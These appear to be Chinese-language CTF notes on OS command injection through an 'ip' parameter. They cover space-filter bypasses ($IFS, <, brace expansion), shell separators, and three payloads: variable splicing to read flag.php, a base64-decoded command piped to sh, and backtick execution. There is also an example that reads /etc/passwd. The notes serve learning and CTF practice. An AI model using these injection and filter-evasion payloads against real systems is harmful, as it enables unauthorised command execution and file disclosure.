前置知识:
过滤空格:
1
%20(space)、%09(tab)、$IFS$9、 IFS、IFS
2
使用<或者<>来绕过空格 cat<a.txt
3
花括号扩展{OS_COMMAND,ARGUMENT} {cat,/etc/passwd}
4
$IFS 空格绕过 cat$IFSa.txt
5
变量控制 X=$'catx09./flag.php
命令分隔与执行多条命令
1.&
& 表示将任务置于后台执行
2.&&
只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
3.|
| 表示管道,上一条命令的输出,作为下一条命令的参数
4.||
只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
5.;
多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块
方法一:变量拼接
?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php
正则匹配变量顺序 防止被正则匹配检测到
方法二:
base64 -d | sh表示base64解码
sh是linux中运行shell的命令,bash相当于sh的升级版 但是bash被过滤掉 不能用bash了 过滤bash用sh 反之也是这样
?ip=1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
方法三:
内敛执行 将反引号的输出作为cat命令的输入
?ip=1;cat$IFS$1`ls`